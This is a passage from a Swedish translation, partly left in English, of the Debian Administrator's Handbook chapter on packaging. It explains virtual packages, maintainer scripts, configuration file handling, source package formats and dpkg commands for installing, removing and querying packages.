Virtuella paket och andra sidan existerar inte fysiskt; de är enbart ett verktyg för att kunna identifiera verkliga paket baserat på vanliga, logiska kriterier (tillhandahållna tjänster, kompatibilitet med ett standardprogram eller ett tidigare installerat paket, och så vidare).

5.2.1.4.1. Tillhandahålla en "tjänst"

Låt oss diskutera det första fallet i djupare detalj med ett exempel: varje mailserver, så som postfix eller sendmail, anges "tillhandahålla" det virtuella paketet mail-transport-agent. På så vis kan alla paket som behöver denna tjänst för att fungera (exempelvis epostlistahanterare, så som smartlist eller sympa) enkelt hänvisa i sina beroenden att det behöver mail-transport-agent istället för att lista en lång men ändå inkomplett lista över möjliga lösningar (exempelvis postfix | sendmail | exim4 | …). Vidare är det oanvändbart att installera två mailservrar på samma maskin, vilket är anledningen till att samtliga dessa paket deklarerar en konflikt med det virtuella paketet mail-transport-agent. En konflikt mellan paketet och sig själv ignoreras av systemet, men denna teknik kommer motverka att två mailservrar installeras sida vid sida.

DEBIAN RIKTLINJER Lista över virtuella paket

För att virtuella paket skall kunna vara användbara behöver alla komma överens om deras namn. Detta är varför de är standardiserade i Debians riktlinjer. Listan inkluderar bland många andra mail-transport-agent för mailservrar, c-compiler för kompilerare till programeringsspråket C, www-browser för webbläsare, httpd för webbservrar, ftp-server för FTP-servrar, x-terminal-emulator för terminalemulatorer i grafiska miljöer (xterm) och x-window-manager för fönsterhanterare.

The full list can be found on the Web.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. Utbytbarhet med ett Annat Paket

The Provides field is also interesting when the content of a package is included in a larger package. For example, the libdigest-md5-perl Perl module was an optional module in Perl 5.6, and has been integrated as standard in Perl 5.8 (and later versions, such as 5.32.1 present in Bullseye). As such, the package perl has since version 5.8 declared Provides: libdigest-md5-perl so that the dependencies on this package are met if the user has Perl 5.8 (or newer). The libdigest-md5-perl package itself has eventually been deleted, since it no longer had any purpose when old Perl versions were removed.

Figur 5.1. Användande av fältet Provides i syfte att inte bryta beroenden

Denna funktion är väldigt användbar, eftersom det aldrig är möjligt att förutse utvecklingens alla nycker och att det är nödvändigt att kunna anpassas efter namnändring, samt andra automatiska ersättningar, av föråldrad mjukvara.

TILLBAKA TILL GRUNDERNA Perl, ett programmeringsspråk

Perl (Praktiskt språk för Extraktion och Rapportering, Practical Extraction and Report Language) är ett väldigt populärt programmeringsspråk. Det innehar många moduler som är redo att användas och som täcker ett brett spektrum av olika applikationer och som distribueras genom CPAN (Omfattande nätverksarkiv för Perl, Comprehensive Perl Archive Network) servrar, ett omfattande nätverk av paket för Perl.

→ https://www.perl.org/

→ https://www.cpan.org/

Eftersom det är ett tolkat språk behöver ett program skrivet i Perl inte kompileras innan det kan köras. Detta är anledningen till varför de kallas "Perl-skript".

5.2.1.4.3. Tidigare begränsningar

Virtual packages used to suffer from some limitations, the most significant of which was the absence of a version number. To return to the previous example, a dependency such as Depends: libdigest-md5-perl (>= 1.6), despite the presence of Perl 5.10, would have never been considered as satisfied by the packaging system — while in fact it most likely was satisfied. Unaware of this, the package system chose the least risky option, assuming that the versions do not match.

This limitation has been lifted in dpkg 1.17.11, and is no longer relevant. Packages, like perl 5.32.1, can assign a version to the virtual packages they provide, such as Provides: libdigest-md5-perl (= 2.55.01), and thus allow other packages to use versioned dependencies.

5.2.1.5. Ersätta Filer: Fältet Replaces

The Replaces field indicates that the package contains files that are also present in another package, but that the package is legitimately entitled to replace them. Without this specification, dpkg fails to install the package, stating that it cannot overwrite the files of another package (technically, it is possible to force it to do so with the --force-overwrite option, but that is not considered standard operation). This allows identification of potential problems and requires the maintainer to study the matter prior to choosing whether to add such a field.

Användande av detta fält är motiverat när namn på paket ändras eller när ett paket inkluderas i ett annat. Detta händer också när paketens underhållare beslutar sig för att fördela filer annorlunda mellan olika binära paket producerat från samma källkodspaket: en ersatt fil som inte längre hör till det tidigare paketet, utan enbart till den nya.

Om alla filer i ett installerat paket har ersatts så anses paketet ifråga kunna avinstalleras. Slutligen uppmuntrar detta fält dpkg att ta bort det ersatta paketet när det finns en konflikt.

UTVECKLA Fältet Tag

In the apt example at the beginning, we can see the presence of a field that we have not yet described, the Tag field. This field does not describe a relationship between packages, but is simply a way of categorizing a package in a thematic taxonomy. This classification of packages according to several criteria (type of interface, programming language, domain of application, etc.) has been available for a long time. Despite this, not all packages have accurate tags and it is not yet integrated in all Debian tools; aptitude displays these tags, and allows them to be used as search criteria. For those who dislike aptitude's search criteria, the following website allows navigation of the tag database:

→ https://wiki.debian.org/Debtags

5.2.2. Konfiguration Scripts

In addition to the control file, the control.tar.gz archive for each Debian package may contain a number of scripts, called by dpkg at different stages in the processing of a package. The Debian Policy describes the possible cases in detail, specifying the scripts called and the arguments that they receive. These sequences may be complicated, since if one of the scripts fails, dpkg will try to return to a satisfactory state by canceling the installation or removal in progress (insofar as it is possible).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

UTVECKLA dpkg's databas

Alla konfigurationsskript för installerade paket lagras i katalogen /var/lib/dpkg/info/, i form av en fil med paketnamnet som prefix. Denna katalog innehåller också en fil med filändelsen .list för varje paket, som innehåller en lista över alla filer som hör till paketet.

Filen /var/lib/dpkg/status innehåller en serie av datablock (i det välkända formatet för mailsidhuvud, RFC 2822) beskrivande statusen för varje paket. Informationen från filen control från installerade paket kopieras också in i denna fil.

Generellt körs skriptet preinst innan paketet installeras, medan postinst körs efter installation. På samma sätt åberopas skriptet prerm innan ett paket tas bort samt postrm efteråt. En uppgradering av ett paket är detsamma som att ta bort den tidigare versionen och installera den nya. Det är inte möjligt att i detalj beskriva alla möjliga scenarion här, men vi kommer diskutera djupare de två mest vanliga: en installation/uppgradering och en borttagande.

FÖRSIKTIGHET Symboliska namn på skript

Sekvenserna beskrivna i denna sektion kallar konfigurationsskripten med specifika namn, så som gamla-prerm eller nya-postinst. De är, respektive, de prerm skript som tillhandahålls av det gamla paketet (som var installerad innan uppdatering) och de postinst som tillhandahålls i den nya versionen (som installeras i uppdateringen).

TIPS Statusdiagram

Manoj Srivastava och Margarita Manterola har gjort följande diagram som förklarar hur konfigurationsskripten kallas av dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Installation och Uppgradera

During the initial installation and for each upgrade of a package, dpkg calls the so called maintainer scripts such as the prerm or preinst scripts. These scripts can perform additional actions during the different stages of a package's life-cycle. Script names preceded by new- are the scripts from the new version of a package being installed or upgraded to. Script names preceded by old- are the scripts from the old version of a package that is being upgraded from.

During each invocation dpkg will pass certain arguments to each script such as upgrade new-version. The invoked script can then either handle the arguments and perform a particular action, or ignore the arguments and return with an exit code of 0, if nothing needs to be done during that step. In practice many packages will not need to perform an action during every step in the life cycle. Thus a typical configuration script will check for a particular argument and ignore all other ones, implicitly returning with exit code 0.

Here is what happens during an installation (or an update). The old-version, new-version and last-version-configured arguments are placeholders for the actual (old and new) version numbers of the package:

For an update, dpkg calls the old-prerm script and passes upgrade new-version as arguments.

Still for an update, dpkg then executes the new-preinst script with the arguments upgrade old-version; for the initial installation, it executes the new-preinst script and passes install as argument. It may add the old version in the last parameter, if the package has already been installed and removed since (but not purged, and thus configuration files have been retained).

Filerna i det nya paketet packas sen upp. Om en fil redan existerar så kommer den skrivas över, men en temporär säkerhetskopia skapas innan detta utförs.

For an update, dpkg executes the old-postrm script and passes upgrade new-version as arguments.

dpkg uppdaterar all intern data (lista med filer, konfigurations-skript, och så vidare) och tar bort säkerhetskopiorna på de ersatta filerna. Detta är stunden utan återvändo: dpkg kommer inte längre att ha tillgång till alla element nödvändiga för att kunna återgå till tidigare tillstånd.

dpkg kommer uppdatera konfigurationsfilerna samt låta användaren avgöra ifall den är oförmögen att automatiskt hantera denna uppgift. Detaljerna kring denna procedur diskuteras vidare i Avsnitt 5.2.3, ”Checksums, List of Configuration Files, et al.”.

Finally, dpkg configures the package by executing the new-postinst script with the arguments configure last-version-configured.

5.2.2.2. Borttagning av Paket

The steps to remove a package are analogous to the installation steps. The main difference is that the removal scripts of the package are called:

dpkg calls the prerm script and passes the remove argument.

dpkg removes all of the package's files, with the exception of the configuration files and maintainer scripts.

dpkg executes the postrm script and passes remove as argument. Afterwards, all of the maintainer scripts, except the postrm script, are removed. If the user has not used the “purge” option, the process stops here.

For a complete purge of the package (command issued with dpkg --purge or dpkg -P), the configuration files are also deleted, as well as a certain number of copies (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) and temporary files; dpkg then executes the postrm script and passes purge as argument.

VOKABULÄR Rensning, en komplett borttagning

När ett Debianpaket tas bort så sparas konfigurationsfilerna i syfte att kunna underlätta för en möjlig framtida återinstallation. Av samma anledning så sparas vanligtvis data skapad av en demon (så som innehållet i en LDAP servermapp, eller innehållet i en databas för en SQL-server).

För att ta bort all data som förknippas med ett paket är det nödvändigt att "rensa" paketet med någon av följande kommandon: dpkg -P package, apt-get remove --purge package eller aptitude purge package.

Givet det slutgiltiga resultatet av en dylik borttagning av data, bör beslutet att rensa enbart tas efter noga övervägande.

De fyra skripten beskriven ovan kompletteras med ett config-skript som tillhandahålls av paket som använder debconf för att erhålla information till konfigurationen från användaren. Under installation definierar detta skript i detalj de frågor som kommer ställas av debconf. Svaren sparas i databasen för debconf för att kunna användas senare. Skriptet körs som regel en efter en av apt innan paketen packas upp för att klumpa ihop frågorna och ställa dem alla tillsammans i början av processen. Innan- och efterinstallationsskript kan sen använda sig av denna information för att utföra sin uppgift i enlighet med användarens önskemål.

VERKTYGdebconf

debconf skapades för att lösa ett återkommande problem i Debian. Alla paket till Debian som inte kunde fungera utan ens ett minimum av inställningar brukade ställa frågor genom att använda kommando echo och read i postinst skript (och andra liknande skript). Men detta innebär att under en stor installation eller uppdatering så behöver användaren stanna vid dennes dator under hela tiden för att kunna agera på diverse frågor som kan ställas när som helst under processen. Problemet med dessa manuella interaktioner har nu nästan till fullo eliminerats, tack vare verktyget debconf.

debconf har många intressanta funktioner: den kräver att utvecklaren anger interaktionen med användaren; den möjliggör att all text som visas användaren är på det lokala språket (alla översättningar finns lagrade i filen templates som beskriver interaktioner); den har olika frontsystem för att kunna ställa frågorna till användaren (textläge, grafiskt läge, icke-interaktiv); och den tillåter skapande av en central databas över givna svar för att kunna dela samma konfigurering med flera datorer… men det mest viktiga är att det nu är möjligt att presentera alla frågor till användaren efter varandra, innan en längre installations- eller uppdateringsprocess startas. Användaren kan lämna och sköta andra ärenden medan systemet själv hanterar installationen, användaren slipper på så vis stanna kvar och stirra på skärmen i väntan på frågor som kan dyka upp.

5.2.3. Checksums, List of Configuration Files, et al.

In addition to the maintainer scripts and control data already mentioned in the previous sections, the control.tar.gz archive of a Debian package may contain other interesting files.

The first, md5sums, contains the MD5 checksums for all of the package's files. Its main advantage is that it allows dpkg --verify (which we will study in Avsnitt 14.3.4.1, ”Granskning av paket med dpkg --verify”) and debsums (from the package of the same name; see Avsnitt 14.3.4.2, ”Auditing Packages: debsums and its Limits”) to check if these files have been modified since their installation. Note that when this file doesn't exist, which might be the case for some older packages, dpkg will generate it dynamically at installation time (and store it in the dpkg database just like other control files).

The file conffiles lists package files that must be handled as configuration files (see also deb-conffiles(5)). Configuration files can be modified by the administrator, and dpkg will try to preserve those changes during a package update.

I praktiken beter sig dpkgså intelligent som möjligt i dessa situationer: om den ordinarie konfigurationsfilen inte ändrats mellan de två versionerna kommer inget att ändras. Om något däremot ändrats kommer den försöka uppdatera filen. Här existerar 2 möjliga scenarion: antingen har administratören inte modifierat denna konfigurationsfil vilket gör att dpkg automatiskt kommer uppdatera filen till den nya versionen; eller så har filen modifierats, vilket resulterar i att dpkg kommer ställa frågan till administratören vilken fil som önskas användas (den äldre modifierade, eller den som tillhandahålls i den nya versionen av paketet). För att underlätta detta beslut erbjuder dpkg att visa en "diff" som visar skillnaden mellan de två konfigurationsfilerna. Om användaren väljer att behålla den äldre versionen så kommer den nya versionen sparas på samma ställe med suffixet .dpkg-dist. Om användaren istället väljer att behålla den nyare versionen så kommer den äldre sparas med suffixet .dpkg-old. En annan tillgänglig åtgärd består i att tillfälligt avbryta dpkg för att editera filen och försöka återinföra de relevanta modifikationerna (som tidigare identifierades med diff).

UTVECKLA Tvinga dpkg att ställa frågor om konfigurationsfiler

Flaggan --force-confask tvingar dpkg att ställa frågan om konfigurationsfiler, även i de fall detta normalt inte är nödvändigt. På så vis kommer dpkg ställa frågorna för alla konfigurationsfiler som ändrats eller tagits bort av administratören när ett paket ominstalleras med denna flagga. Detta kan vara tämligen användbart, i synnerhet för att kunna återinstallera en ursprunglig konfigurationsfil om den tagits bort och ingen kopia finns tillgänglig: en normal ominstallation skulle här inte fungera eftersom dpkg anser att borttagande är en legitim modifikation och kommer därför som standard inte installera den önskade konfigurationsfilen.

See the sidebar UTVECKLA Undvika frågorna om konfigurationsfiler for how to use these options with APT.

UTVECKLA Undvika frågorna om konfigurationsfiler

dpkg hanterar uppdatering av konfigurationsfiler, men när den gör detta avbryter den sitt arbete regelbundet för att begära respons från administratören. Detta resulterar i en inte så trevlig upplevelse för dem som önskar uppdatera på ett icke-interaktivt sätt. Detta är orsaken till att programmet erbjuder flaggor som tillåter systemet att agera automatiskt på eventuella frågor utifrån en given logik: --force-confold behåller den äldre versionen av filen; --force-confnew kommer använda den nya versionen av filen (dessa val kommer att respekteras, även i de fall filen ifråga inte har modifierats av administratören, vilket sällan ger önskad effekt). Genom att lägga till flaggan --force-confdef instruerar dpkg att själv avgöra där det är möjligt (med andra ord när orginalet av konfigurationsfilen inte modifierats) och använder endast --force-confnew eller --force-confold i övriga fall.

Dessa flaggor gäller dpkg och förklaras mer i detalj i dpkg(1) eller dpkg --force-help, men i de flesta fall kommer administratören arbeta mest med programmen aptitude eller apt. Det är därav nödvändigt att känna till den syntax som används för att indikera de flaggor som läggs till kommandot dpkg (dess kommandolinjesgränssnitt är väldigt lika).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

These options can also be stored directly in apt's configuration. To do so, simply write the following lines in the /etc/apt/apt.conf.d/local file:

Dpkg::Options { "--force-confdef"; "--force-confold"; }

Att inkludera denna flagga i konfigurationsfilen innebär också att den även kommer användas i grafiska gränssnitt, så som aptitude.

The control archive frequently contains other files as well, like triggers, shlibs, or symbols. These files are well described in deb-triggers(5), deb-shlibs(5), and deb-symbols(5).

Triggers were introduced to reduce the amount of duplicated events during package installation, such as file registration or catalog/database update tasks. Packages can define their own or activate defined triggers. A more comprehensive documentation can be found in /usr/share/doc/dpkg/triggers.txt.gz.

The shlibs system is an older and simpler alternative to the symbols system for declaring dependencies for shared libraries. It defines the package name and version in which to find a specific SONAME-version of a shared library. The newer symbols system allows to define the dependency by tracking the symbols and when they have been introduced or changed in the library instead.

5.3. Ett Källpakets struktur

5.3.1. Format

Ett källkodspaket består vanligtvis av tre filer, en .dsc, en .orig.tar.gz, och en .debian.tar.xz (eller .diff.gz). De möjliggör skapande av binära paket (.deb-fil beskriven ovan) från programmets kälkodsfiler, vilka är skrivna i ett programmeringsspråk.

Filen .dsc (Debian Source Control) är en liten textfil som innehåller en RFC 2822 sidhuvud (liknande filen control som beskrevs i Avsnitt 5.2.1, ”Beskrivning: control filen”) vilken beskriver källkodspaketet och indikerar vilka andra filer som är en del av det. Den är signerad av dess upprätthållare, vilket garanterar dess äkthet. Se vidare Avsnitt 6.6, ”Kontrollerar paketets äkthet” för ytterligare detaljer på detta ämne.

Exempel 5.1. En .dsc fil

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.73.5-1 Maintainer: Zim Package Maintainers <zim@packages.debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: https://zim-wiki.org Standards-Version: 4.5.1 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python Package-List: zim deb x11 optional arch=all Checksums-Sha1: 80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz Checksums-Sha256: a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz 6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz Files: fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comment: Signed by Raphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1 L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ== =YFDk -----END PGP SIGNATURE-----

Notera att ett källkodspaket också har beroenden (Build-Depends) som helt skiljer sig från dem för binära paket, på så vis att de indikerar verktyg som krävs för att kompilera mjukvaran i fråga och skapa dess binära paket.

FÖRSIKTIGHET Distinkta namnrum

Det är viktigt att känna till att det inte finns något tvingande samband mellan namnet på källkodspaketet och namnet på det binära paket som den genererar. Detta är lättare att förstå om man begrundar det faktum att varje källkodspaket kan potentiellt generera flera binära paket. Detta är varför filen .dsc har fälten Source och Binary för att uttryckligen kunna ange namnet på källkodspaketet och lista de binära paket som det genererar.

KULTUR Varför dela upp på flera paket

Ganska frekvent kan ett källkodspaket (för en given programvara) generera flera binära paket. Uppdelningen är motiverad av att kunna använda (delar av) mjukvaran i olika sammanhang. Ta ett delat bibliotek som exempel, det kan ha installerats för att möjliggöra att ett program fungerar (exempelvis libc6), eller så kan det installeras för att utveckla ett nytt program (libc6-dev skulle då vara det korrekta paketet). Vi hittar samma logik för server-/klient-tjänster där vi vill installera serverdelen på en maskin och klientdelen på samtliga övriga (exempel på detta är openssh-server och openssh-client).

Just as frequently, the documentation is provided in a dedicated package: the user may install it independently from the software, and may at any time choose to remove it to save disk space. Additionally, this also saves disk space on the Debian mirrors, since the documentation package will be shared among all of the architectures (instead of having the documentation duplicated in the packages for each architecture).

PERSPEKTIV Olika format på källkodspaket

Ursprungligen fanns det bara ett format på kälkodspaket. Detta är formatet 1.0, för vilken ett .orig.tar.gz arkiv associeras med en .diff.gz "debianifierande" rättning (det existerar också en variant, som består av ett ensamt .tar.gz arkiv, vilket automatiskt används ifall ingen .orig.tar.gz finns tillgänglig).

Sedan Debian 6 Squeeze har Debianutvecklare haft möjlighet att använda nyare format som korrigerar många problem som det historiska formatet drogs med. Formatet 3.0 (quilt) kan kombinera flertalet ursprungsarkiv i ett och samma källkodspaket: utöver den ordinarie .orig.tar.gz kan ett .orig-komponent.tar.gz arkiv inkluderas. Detta är användbart när mjukvara distribueras i flera uppströmskomponenter men där ett ensamt källkodspaket är önskvärt. Dessa arkiv kan också komprimeras med xz i stället för gzip, vilket besparar diskutrymme och nätverksresurser. Slutligen har den monolitiska rättningen .diff.gz ersatts av ett .debian.tar.xz arkiv innehållande kompileringsinstruktioner samt en uppsättning uppströmsrättningar som tillhandahålls av paketunderhållaren. Dessa sistnämnda sparas i ett format som är kompatibelt med quilt — ett verktyg som underlättar hanteringen av hela serier av rättningar.

Filen .orig.tar.gz är ett arkiv som innehåller den källkod som tillhandahålls av dess ursprungliga utvecklare. Debian's paketunderhållare är ombedd att inte modifiera detta arkiv för att möjliggöra enkel kontroll av filens ursprung och integritet (genom en vanlig jämförelse med en checksumma) samt för att respektera önskan hos en del utvecklare.

The .debian.tar.xz contains all of the modifications made by the Debian maintainer, especially the addition of a debian directory containing the instructions to execute to construct one or more Debian binary packages.

VERKTYG Komprimera ett Källkodspaket

Om du har ett Källkodspaket kan du använda kommandot dpkg-source (från paketet dpkg-dev) för att komprimera det:

$ dpkg-source -x zim_0.73.5-1.dsc dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

Du kan också använda apt för att ladda ner ett källkodspaket och packa upp det direkt. Det kräver dock att lämpliga rader av deb-src finns närvarande i filen /etc/apt/sources.list (se Avsnitt 6.1, ”Att fylla i filen sources.list” för ytterligare detaljer). Dessa används för att lista "källorna" för källkodspaketen (vilket betyder de servrar som tillhandahåller grupper av källkodspaket).

$ apt source package Reading package lists... Done NOTICE: 'zim' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/debian/zim.git Please use: git clone https://salsa.debian.org/debian/zim.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 2,172 kB of source archives. Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B] Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB] Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB] Fetched 2,172 kB in 0s (7,176 kB/s) dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Användning inom Debian

The source package is the foundation of everything in Debian. All Debian packages come from a source package, and each modification in a Debian package is the consequence of a modification made to the source package. The Debian maintainers work with the source package, knowing, however, the consequences of their actions on the binary packages. The fruits of their labors are thus found in the source packages available from Debian: you can easily go back to them and everything stems from them. Kapitel 15, Skapa ett Debian-paket contains some examples.

When a new version of a source package arrives on the Debian server, it will then be used by a network of machines of different architectures for compilation on the various architectures supported by Debian.

→ https://buildd.debian.org/

UTVECKLA Endast källkod vid underhållares uppladdningar

Right after the release of Debian 10 Buster the Release Team announced that maintainer binary uploads will no longer be accepted for main and all binary packages in this component must be built automatically from mandatory source-only uploads. While binary uploads are still allowed for the contrib and non-free components, we will not focus on this possibility as it should only be the exception.

5.4. Manipulera paket med dpkg

dpkg är baskommandot för att hantera Debian-paket i systemet. Om du har ett eller flera .deb paket så är det dpkg som möjliggör installation eller analysering av deras innehåll. Men detta program har enbart en begränsad uppfattning av Debians universium: den vet vad som är installerat på systemet samt vad den får tillsagt via kommandoraden, men vet ingenting om andra tillgängliga paket. På grund av detta kommer den misslyckas om ett beroende inte är uppfyllt. Verktyg så som apt och aptitude kommer och andra sidan skapa en lista av beroenden för att kunna installera allt så automatiserat som möjligt.

NOTERAdpkg eller apt?

dpkg bör ses som ett systemverktyg (inre system), samt apt som ett verktyg närmare användaren, vilket överkommer de begränsningar som det tidigare nämnda har. Dessa verktyg arbetar tillsammans, båda med sina särdrag, anpassade för specifika arbetsuppgifter.

5.4.1. Installerar paket

dpkg är i första hand ett verktyg för att installera ett Debian-paket som redan finns tillgängligt (eftersom verktyget inte laddar ner någonting). För att genomföra en sådan operation använder vi flaggorna -i eller --install.

Exempel 5.2. Installation av paket med dpkg

# dpkg -i man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.8.5-2) ... Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it. Processing triggers for mailcap (3.69) ...

Vi kan se de olika steg som dpkg utför, således kan vi veta vid vilket steg ett problem kan ha uppstått. Installationen kan också utföras i två etapper: uppackning först, och sen konfigurering. apt drar nytta av detta och kan på så vis minska antalet anrop på kommandot dpkg (och varje anrop är kostsam för systemet på grund av inläsning av databasen i minnet, i synnehet listan över redan installerade filer).

Exempel 5.3. Separat uppackning och konfiguration

# dpkg --unpack man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.9.4-2) ... Processing triggers for mailcap (3.69) ... # dpkg --configure man-db Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it.

Ibland kommer dpkg misslyckas med att installera ett paket och returnerar då ett felmeddelande; om användaren anger att ignorera detta, så kommer enbart en varning att registreras. Det är på grund av denna anledning som vi har alla --force-* flaggor. Kommandot dpkg --force-help, eller dokumentation om detta kommando, kommer ge en komplett lista över dessa flaggor. Den mest vanliga felorsaken, som du troligen kommer stöta på förr eller senare, är konflikt över en fil. När ett paket innehåller en fil som redan finns installerad av ett annat paket kommer dpkg vägra att installera detta. Följande meddelande kommer då visas:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

I detta fallet, om du tror att ett utbyte av denna fil inte utgör en signifikant risk för systemets stabilitet (vilket det vanligtvis inte utgör), så kan du använda flaggan --force-overwrite som meddelar dpkg att ignorera detta felmeddelande och skriva över filen.

While there are many available --force-* options, only --force-overwrite is likely to be used regularly. These options only exist for exceptional situations, rarely encountered in Debian Stable. It is better to leave them alone as much as possible in order to respect the rules imposed by the packaging mechanism. Do not forget, these rules ensure the consistency and stability of your system.

FÖRSIKTIGHET Effektivt användande av --force-*

Om du inte är försiktig kan användande av flaggorna --force-* leda till ett system där kommandon i APT-familjen vägrar att fungera. Som exempel så kommer några av dessa flaggor tillåta installation av ett paket utan att dess beroenden är mött, eller där der finns en konflikt. Resultatet blir ett inkonsekvent system med hänsyn till beroenden, och APT-kommandon kommer vägra utföra någon åtgärd som inte återställer systemet till ett konsekvent tillstånd (vilket oftast består av att installera ett avsaknat beroende eller avinstallera ett problematiskt paket). Detta leder ofta till ett meddelande likt denna, som uppstår vid installation av en ny version av rdesktop utan att ta hänsyn till dess beroende av en nyare version av libc6:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

En modig administratör som är säker på korrektheten i sin analys kan välja att ignorera ett beroende eller en konflikt genom att använda motsvarande --force-* flagga. Om de önskar fortsätta använda apt eller aptitude i dessa fall behöver de göra ändringar i filen /var/lib/dpkg/status och ta bort/modifiera de beroenden, eller konflikter, som de önskar åsidosätta.

Denna manipulation är en ful-lösning och bör aldrig användas, förutom i de mest extrema situationer av nödtvång. För det mesta är en mer lämplig lösning att packa on paketet som orsakar problemet (se Avsnitt 15.1, ”Bygg om ett paket från dess källkod”) eller använda en nyare version (förhoppningsvis rättad) från ett kodföråd så som stable-backports (se Avsnitt 6.1.2.4, ”Stabil Bakåtporteringar”).

5.4.2. Borttagning av Paket

Genom att åberopa dpkg med flaggan -r eller --remove, följt av ett namn på ett paket, så kommer paketet ifråga avinstalleras. Detta bottagande är dock inte komplett, alla konfigurationsfiler, undehållsskript, loggfiler (systemnivå) och andra användardata som tillhandahållts för eller av paketet kvarstår. På det sättet är den enkelt att inaktivera ett program genom att avinstallera det, och möjligheten kvarstår att snabbt kunna återinstallera med samma konfiguration. För att helt rensa ut allt som kan associeras med paketet, använd flaggan -P eller --purge följt av paketnamnet.

Exempel 5.4. Borttagning och fullständig rensning av paketet debian-cd

# dpkg -r debian-cd (Reading database ... 228705 files and directories currently installed.) Removing debian-cd (3.1.35) ... # dpkg -P debian-cd (Reading database ... 228049 files and directories currently installed.) Purging configuration files for debian-cd (3.1.35) ...

5.4.3. Undersöka dpkg's databas och inspektera .deb filer

TILLBAKA TILL GRUNDERNA Flaggors syntax

De flesta flaggor finns tillgänglig både i en 'lång" version (ett eller flera relevanta ord som föregås av två streck) och en "kort" version (en enskild bokstav, oftast första bokstaven i ett av de ord som utgör den längre versionen, som föregås av ett enskillt bindestreck). Detta tillvägagångssätt är så vanligt att de blivit en POSIX standard.

Before concluding this section, we will study dpkg options that query the internal database in order to obtain information. Giving first the long options and then corresponding short options (that will evidently take the same possible arguments) we cite

--listfiles package (or -L), which lists the files installed by this package;

--search file (or -S), which finds the package(s) containing the file;

--status package (or -s), which displays the headers of an installed package;

--list (or -l), which displays the list of packages known to the system and their installation status;

--contents file.deb (or -c), which lists the files in the Debian package specified;

--info file.deb (or -I), which displays the headers of this Debian package.

VARNINGdpkg --search och sammanslaget /usr/

Av olika anledningar, installerar Debian nu en del topplager-kataloger som symboliska länkar till deras motsvarighet under /usr. Som exempel, /bin, /sbin och /lib är nu symboliskt länkade till, respektive, /usr/bin, /usr/sbin och /usr/lib.

Även om detta ger önskade fördelar kan det även vara en källa för förvirring. Som exempel, när du frågar dpkg vilket paket som äger en given fil, så kommer den enbart kunna svara när du frågar om dess ursprungliga platts:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: no path found matching pattern /usr/bin/mount $ dpkg --search /bin/apt dpkg-query: no path found matching pattern /bin/apt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

This issue is currently tracked as bug #858331. There is also an ongoing discussion if the approach used so far is counterproductive.

→ https://bugs.debian.org/858331

Exempel 5.5. Olika undersökningar med dpkg

